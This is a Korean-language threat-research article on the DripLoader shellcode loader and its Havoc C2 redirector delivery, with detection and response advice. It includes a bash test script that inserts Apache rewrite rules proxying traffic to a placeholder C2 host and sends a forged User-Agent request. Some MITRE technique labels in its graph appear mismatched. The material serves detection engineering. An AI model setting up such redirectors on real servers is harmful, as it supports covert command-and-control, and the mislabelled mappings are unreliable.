SOC Prime Bias: 중간

27 11월 2025 19:23

DripLoader 멀웨어: 셸코드 실행 및 방어 회피

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DripLoader 멀웨어: 셸코드 실행 및 방어 회피
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 DripLoader라는 쉘코드 로더를 조사하며, 메모리를 할당하고, 쉘코드를 쓰고, 페이지 권한을 실행 가능으로 전환한 후 이를 실행합니다. 이 로더가 Havoc C2 프레임워크에 의해 지원되는 HTTPS 리다이렉터를 통해 전달되는 방법과 코드가 압축 및 간접 시스템 호출로 난독화될 수 있는 방법을 다룹니다. 또한 .node 사이드로딩과 추가 회피 기술에 의존하는 업그레이드된 바이너트 DripLoaderNG를 소개하며, 실용적인 탐지 가이드와 메모리 분석 도구도 제시합니다.

조사

조사는 Havoc이 맞춤 Apache 리다이렉터를 통해 압축된 쉘코드를 전달하는 실험실 환경을 설명합니다. 로더는 64KB의 영역을 예약하고, 4KB 페이지를 커밋하며, 보호 플래그를 수정하고 페이로드를 실행합니다. DripLoaderNG는 간접 시스템 호출과 Slack Electron 애플리케이션을 대상으로 하는 .node 모듈 사이드로딩을 도입합니다. 탐지는 Moneta, PE-sieve 및 지원 KQL 쿼리 같은 도구를 사용하여 보여줍니다.

완화

완화 단계에는 의심스러운 HTTPS 리다이렉트를 모니터링하고, 위조된 User-Agent 문자열을 감지하며, 드문 .node 파일을 플래그하고 간접 시스템 호출 행동을 식별하기 위한 EDR 기능을 활용하는 것이 포함됩니다. 추가 권장 사항에는 Sliver/Donut 구성 조정을 통해 AMSI 변조를 줄이고 서명되지 않은 네이티브 모듈의 실행을 제한하는 것이 포함됩니다.

대응

활동이 감지되면 영향을 받은 엔드포인트를 격리하고, 문제의 프로세스를 멈추고, 메모리 덤프를 캡처하며 주입된 쉘코드를 검사하십시오. C2 도메인이나 IP를 차단하고 노출된 자격 증명을 다시 설정하며, 특정 사용자 에이전트 및 .node 파일 지표에 대한 방어 규칙을 배포하십시오. 포렌식 분석을 수행하고 관찰된 간접 시스템 호출 패턴을 커버하기 위해 탐지 콘텐츠를 새로 고치십시오.

graph TB %% 클래스 정의 classDef technique fill:#99ccff classDef operator fill:#ff9900 %% 기술 노드 step_initial_access[“<b>기술</b> – <b>T1090 프록시</b><br /><b>설명</b>: HTTPS 리다이렉트 및 위조된 User-Agent를 사용하여 악성 페이로드를 전달하고 웹 트래픽을 통한 명령 및 제어(C2) 통신을 설정합니다.”] class step_initial_access technique step_c2[“<b>기술</b> – <b>T1102.002 웹 서비스: 양방향 통신</b><br /><b>설명</b>: HTTPS 웹 서비스를 통해 공격자와 통신하여 양방향 명령 및 제어를 가능하게 합니다.”] class step_c2 technique step_obfusc_compress[“<b>기술</b> – <b>T1027.015 압축</b><br /><b>설명</b>: LZMS로 페이로드를 압축하여 정적 분석 및 서명 기반 방어로부터 내용을 숨깁니다.”] class step_obfusc_compress technique step_obfusc_compile[“<b>기술</b> – <b>T1027.004 전달 후 컴파일</b><br /><b>설명</b>: 전달 후 페이로드를 컴파일하여 탐지를 회피합니다.”] class step_obfusc_compile technique step_process_injection[“<b>기술</b> – <b>T1055.002 휴대용 실행 파일 주입</b><br /><b>설명</b>: DripLoader는 가상 메모리를 할당하고 쉘코드를 복사한 뒤 페이지 보호를 변경하여 신뢰된 프로세스 내에서 실행합니다.”] class step_process_injection technique step_reflective_loading[“<b>기술</b> – <b>T1620 반사적 코드 로딩</b><br /><b>설명</b>: 로더는 복사된 쉘코드를 메모리에 반사적으로 로드하여 운영 체제 로더를 사용하지 않고 실행합니다.”] class step_reflective_loading technique step_dll_injection[“<b>기술</b> – <b>T1055.001 동적 링크 라이브러리 주입</b><br /><b>설명</b>: 악성 .node 모듈(DLL)이 Slack 프로세스에 사이드로드되어 신뢰된 애플리케이션 컨텍스트에서 코드 실행을 허용합니다.”] class step_dll_injection technique step_persistence[“<b>기술</b> – <b>T1546.009 AppCert DLL</b><br /><b>설명</b>: 사이드로드된 DLL이 애플리케이션 인증 DLL로 등록되어 시스템 시작 시 실행을 보장합니다.”] class step_persistence technique step_evasion_cred_api[“<b>기술</b> – <b>T1056.004 자격 증명 API 후킹</b><br /><b>설명</b>: 간접 시스템 호출을 사용해 네이티브 Windows API를 호출함으로써 사용자 모드 EDR 후킹을 우회합니다.”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>기술</b> – <b>T1027.005 도구에서 지표 제거</b><br /><b>설명</b>: Sliver/Donut 구성을 수정하여 AMSI 패치를 비활성화하고 안티멀웨어 엔진에 의한 탐지를 방지합니다.”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>기술</b> – <b>T1027.008 제거된 페이로드</b><br /><b>설명</b>: 페이로드에서 디버깅 및 메타데이터 정보를 제거하여 포렌식 아티팩트를 최소화합니다.”] class step_evasion_stripped technique step_masquerade[“<b>기술</b> – <b>T1036.008 파일 유형 위장</b><br /><b>설명</b>: 악성 .node 파일의 이름을 합법적인 네이티브 모듈처럼 보이도록 변경하여 정상 애플리케이션 파일과 혼합되도록 합니다.”] class step_masquerade technique step_server_component[“<b>기술</b> – <b>T1505.003 서버 소프트웨어 구성 요소: 웹 셸</b><br /><b>설명</b>: 웹 리다이렉터를 통해 쉘코드와 로더 바이너리를 전달한 뒤 대상 시스템에서 이를 압축 해제하고 실행합니다.”] class step_server_component technique %% 연산자 노드 op_obfusc((“그리고”)) class op_obfusc operator op_evasion((“그리고”)) class op_evasion operator %% 연결 step_initial_access u002du002d>|이후 단계| step_c2 step_c2 u002du002d>|이후 단계| step_obfusc_compress step_c2 u002du002d>|이후 단계| step_obfusc_compile step_obfusc_compress u002du002d>|구성 요소| op_obfusc step_obfusc_compile u002du002d>|구성 요소| op_obfusc op_obfusc u002du002d>|이후 단계| step_process_injection step_process_injection u002du002d>|이후 단계| step_reflective_loading step_reflective_loading u002du002d>|이후 단계| step_dll_injection step_dll_injection u002du002d>|이후 단계| step_persistence step_persistence u002du002d>|이후 단계| step_evasion_cred_api step_persistence u002du002d>|이후 단계| step_evasion_indicator_removal step_persistence u002du002d>|이후 단계| step_evasion_stripped step_evasion_cred_api u002du002d>|구성 요소| op_evasion step_evasion_indicator_removal u002du002d>|구성 요소| op_evasion step_evasion_stripped u002du002d>|구성 요소| op_evasion op_evasion u002du002d>|이후 단계| step_masquerade step_masquerade u002du002d>|이후 단계| step_server_component

공격 흐름

시뮬레이션 실행

전제 조건: 원격 분석 및 기준 선행 검사를 통과해야 합니다.

합리성: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 상대자의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 분석을 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 것입니다.

  • 공격 서사 및 명령:
    악성 인프라의 운영자는 피해자 웹 서버를 C2 서버로의 전이 역할을 하도록 준비합니다. 그들은 Apache 가상 호스트 구성에 두 개의 RewriteRule 지시문을 삽입합니다. 하나는 모든 들어오는 트래픽을 https://C2.TeamServer.IP:443 ([P] 플래그) 그리고 두 번째 것은 모든 요청을 무해한 Google URL( [L,R=302] )로 리다이렉트합니다. Apache를 다시 로드한 후, 공격자는 Sigma 규칙에 정의된 정확한 가짜 User-Agent 문자열을 포함하는 조작된 HTTP 요청을 발행합니다. Apache는 요청을 처리하고, User-Agent를 기록하며, 리다이렉션 엔진은 프록시 작업을 기록하여 두 가지 탐지 조건을 충족시킵니다.

  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader 탐지 검증 스크립트
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 1. 현재 설정 백업
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    
    # 2. 악성 리다이렉트 규칙 삽입
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    
    # BEGIN DripLoader Test Rules
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # END DripLoader Test Rules
    
    EOF"
    
    # 3. Apache 변경 사항 적용을 위한 리로드
    sudo systemctl reload apache2
    
    # 4. 정확한 위조 User-Agent로 악성 요청 발송
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
    
    echo "악성 요청 발송 완료. SIEM에서 탐지 경고를 확인하십시오."
  • 정리 명령:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader 탐지 검증 정리
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 원래 설정 복원
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "원래 Apache 설정 복원 완료."
    else
        echo "백업을 찾을 수 없음; 수동 정리가 필요할 수 있습니다."
    fi